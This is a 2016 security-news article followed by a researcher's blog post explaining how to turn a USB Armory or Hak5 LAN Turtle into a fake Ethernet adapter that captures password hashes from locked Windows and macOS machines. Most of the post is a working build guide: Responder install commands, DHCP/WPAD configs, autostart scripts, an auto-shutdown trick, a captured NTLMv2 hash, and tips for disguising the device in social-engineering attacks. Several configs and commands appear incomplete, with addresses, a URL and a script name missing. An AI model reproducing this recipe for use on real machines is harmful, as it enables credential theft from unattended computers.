How to Hack Windows/Mac OS X Login Password (When Locked)

Wednesday, September 07, 2016


A Security researcher has discovered a unique attack method that can be used to steal credentials from a locked computer (but, logged-in) and works on both Windows as well as Mac OS X systems.

In his blog post published today, security expert Rob Fuller demonstrated and explained how to exploit a USB SoC-based device to turn it into a credential-sniffer that works even on a locked computer or laptop.

Fuller modified the firmware code of USB dongle in such a way that when it is plugged into an Ethernet adapter, the plug-and-play USB device installs and acts itself as the network gateway, DNS server, and Web Proxy Auto-discovery Protocol (WPAD) server for the victim’s machine.

The attack is possible because most PCs automatically install Plug-and-Play USB devices, meaning „even if a system is locked out, the device [dongle] still gets installed,“ Fuller explains in his blog post.

„Now, I believe there are restrictions on what types of devices are allowed to install at a locked out state on newer operating systems (Win10/El Capitan), but Ethernet/LAN is definitely on the white list.“

How does the Attack Work?

You might be wondering: Why your computer automatically share Windows credentials with any connected device?

That is because of the default behavior of Microsoft Window’s name resolution services, which can be abused to steal authentication credentials.

The modified plug-and-play USB Ethernet adapter includes a piece of software, i.e. Responder, which spoofs the network to intercept hashed credentials and then stored them in an SQLite database.

The hashed credentials collected by the network exploitation tool can later be easily brute-forced to get clear text passwords.

Apparently, to conduct this attack, attackers would require physical access to a target computer, so that they can plug in the evil USB Ethernet adapter. However, Fuller says the average time required for a successful attack is just 13 seconds.

You can watch the video demonstration below that shows Fuller’s attack in action.
Fuller successfully tested his attack against Windows 98 SE, Windows 2000 SP4, Windows XP SP3, Windows 7 SP1, Windows 10 Enterprise and Home (but not Windows 8), as well as OS X El Capitan and OS X Mavericks. He’s also planning to test it against several Linux distros.

Fuller tested the attack with two USB Ethernet dongles: the USB Armory and the Hak5 Turtle. For more detailed explanation, you can head on to his blog post.

Wang Wei - Hacking News
Security Researcher and Consultant for the government, Financial Securities and Banks. Enthusiast, Malware Analyst, Penetration Tester.


Snagging creds from locked machines

06 Sep 2016, 07:35

First off, this is dead simple and shouldn’t work, but it does. Also, there is no possible way that I’m the first one that has identified this, but here it is (trust me, I tested it so many ways to confirm it because I couldn’t believe it was true)

TL;DR USB Ethernet + DHCP + Responder == Creds


If I plug in a device that masquerades as a USB Ethernet adapter and has a computer on the other end, can I capture credentials from a system, even when locked out (yes, logged in, just locked). (..or do even more, but we’ll save that for another time, this post is already too long)

Device Setup

I started off with a USB Armory ($155) but below I’ll show you how to do this with a Hak5 Turtle ($49.99) as well.

I’ll leave the setting up of the base device itself to you, but here are some links that can start you on your way:

USB Armory

Hak5 Turtle


Basically the capturing is done with Laurent Gaffié’s Responder so you need to find a way to get Responder onto the device. The Hak5 Turtle already has a module for it:

You do have to “Enable” the module for the first time (plugged into Internet access) to get it to actually download all of dependencies and package itself.

Then you also need to do a opkg update and opkg install python-openssl so that Responder will run correctly. This is only a temporary issue as the module is being fixed to include this step.

As for the USB Armory is you can either use SCP, Internet Connection Sharing, the USB host/client adapter:

The default install of Debian/Jessie doesn’t have Python installed so you will have to work through all of the dependencies (on the Kali version this is not needed) and will require Internet access to perform:

apt-get install -y python git python-pip python-dev screen sqlite3
pip install pycrypto
git clone



First, setting up the interface isn’t needed but it will help with consistence since each image for the Armory come with different default IP addresses and it’s good to set a solid base.


# interfaces(5) file used by ifup(8) and ifdown(8)
# Include files from /etc/network/interfaces.d:
source-directory /etc/network/interfaces.d
auto usb0
allow-hotplug usb0
iface usb0 inet static

Next we set up the DHCP server:


ddns-update-style none;

option domain-name "domain.local";
option domain-name-servers;

default-lease-time 60;
max-lease-time 72;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.

# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;

# wpad
option local-proxy-config code 252 = text;

# A slightly different configuration for an internal subnet.
subnet netmask {
  option routers;
  option local-proxy-config "";

The only special configuration here is to send the “Proxy Config” option to any DHCP clients. Why this is even a thing I have no idea, but note this line:

“DHCP has a higher priority than DNS: if DHCP provides the WPAD URL, no DNS lookup is performed.”from the Wikipedia article on WPAD

Next we set up things to automatically run. We edit the rc.local file so that it does a few things:

  1. Clears out all DHCP leases and start the DHCP server. There is probably a more elegant way to do this, but because this “computer” is being plugged in and taken out pretty frequently, we could run into a max in leases but most likely the file will get corrupted at some point so we just remove and re-add it.
  2. Start Responder in a screen session. This way we can get logging going on the screen session as a sort of backup for the Sqlite3 database and log files that Responder creates.


#!/bin/sh -e

# Clear leases
rm -f /var/lib/dhcp/dhcpd.leases
touch /var/lib/dhcp/dhcpd.leases

# Start DHCP server

# Start Responder
/usr/bin/screen -dmS responder bash -c 'cd /root/responder/; python -I usb0 -f -w -r -d -F'

exit 0

To enable logging of the screen sessions (which also gives you insight into if anything went wrong), you add a.screenrc file. There is a lot more that I put in these, mostly for aesthetics but the important pieces are these:


# Logging
deflog on
logfile /root/logs/screenlog_$USER_.%H.%n.%Y%m%d-%0c:%s.%t.log

That’s it, you should be able to reboot your USB Armory and start picking up creds anywhere you can stick a USB in.

Hak5 Turtle

Everything is pretty much already done for you, the only difference is that opkg is your package manager:

opkg update
opkg install python-openssl screen

Remove the symlink to /tmp/ so that the logs will stick around

rm -rf /overlay/etc/turtle/Responder/logs

And the /overlay/etc/rc.local file is slightly different


/etc/init.d/dnsmasq stop
/usr/sbin/screen -dmS responder bash -c 'cd /overlay/etc/turtle/Responder; python -I br-lan -f -w -r -d -F'

Why does this work?

  1. Because USB is Plug-and-Play. This means that even if a system is locked out, the device still gets installed. Now, I believe there are restrictions on what types of devices are allowed to install at a locked out state on newer operating systems (Win10/El Capitan), but Ethernet/LAN is definitely on the white list.
  2. Computers are constantly creating traffic, even if you don’t have any browsers or applications open, and most computers trust their local network for some reason (I know the technical bits on ‘why’, just complaining…)
  3. Network preference when there are more than gateway or network connection is based on “metrics” on Windows and a combination of metrics and “preference” on OSX, but by default “wired” and “newer/faster” always win out.

This means that by plugging in the device it quickly becomes the gateway, DNS server, WPAD server and others thanks to Responder.

The average time for freshly inserted into a locked workstation and by the time I have creds is about 13 seconds, all depends on the system. Some addition setup I used inotify to watch for a file change in the Responder.dbdatabase and shutdown the Armory. This helps finalize file writes as well and giving me an indicator via the LED that creds were obtained.

To do that you need to install the inotify-tools package and add the following to the rc.local file:

echo "Staring cred watch" >> /root/rc.log
/usr/bin/screen -dmS notify bash -c 'while inotifywait -e modify /root/responder/Responder.db; do shutdown -h now; done'

End Result:

What you see in the video is the Windows 10 lock screen (Full screened fresh install VM). When the LED goes solid white the Armory has fully shutdown because of the watch script, creds achieved!.

Bring it back home and look at the results:

root@wpad:~# sqlite3 /root/responder/Responder.db 'select * from responder'
2016-09-04 10:59:43|HTTP|NTLMv2|||SITTINGDUCK\mubix||5EAEA2859C397D8AE48CA87F:01010000000001E9D23F49F7891F38965D80A0010000000000000000000000000000000900260048005400540050002F007800780066006600730062006E0070006300000000000000....

Sweet!! Game over!

Tested on:

  • Windows 98 SE
  • Windows 2000 SP4
  • Windows XP SP3
  • Windows 7 SP1
  • Windows 10 (Enterprise and Home)
  • OSX El Capitan / Mavericks (I was able to get creds on both of these but I’m still testing to see if it was a fluke, or my own configurations)

I still have not tested on Linux, I will make a new post on if that works. Please leave comments below if you see things I can improve upon, or errors.

USB Armory vs Hak5 LAN Turtle

  1. The Armory is more versitile with APT package to do more fun, definitely a great way to dev the attack. More storage (SD based) and slightly faster processor
  2. Hak5 LAN Turtle is MUCH easier to pass off when you are trying to plug in a device during an SE attack. It might not have the LED that the Armory does for determining when creds are achieved, but it has the added functionality of a working ethernet port, so you could get creds AND a shell. Definitely worth the extra hassel to get it working right.


2 Kommentare

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  2. Thanks for finally writing about >How to Hack Windows/Mac OS X Login Password (When Locked) <Loved it!

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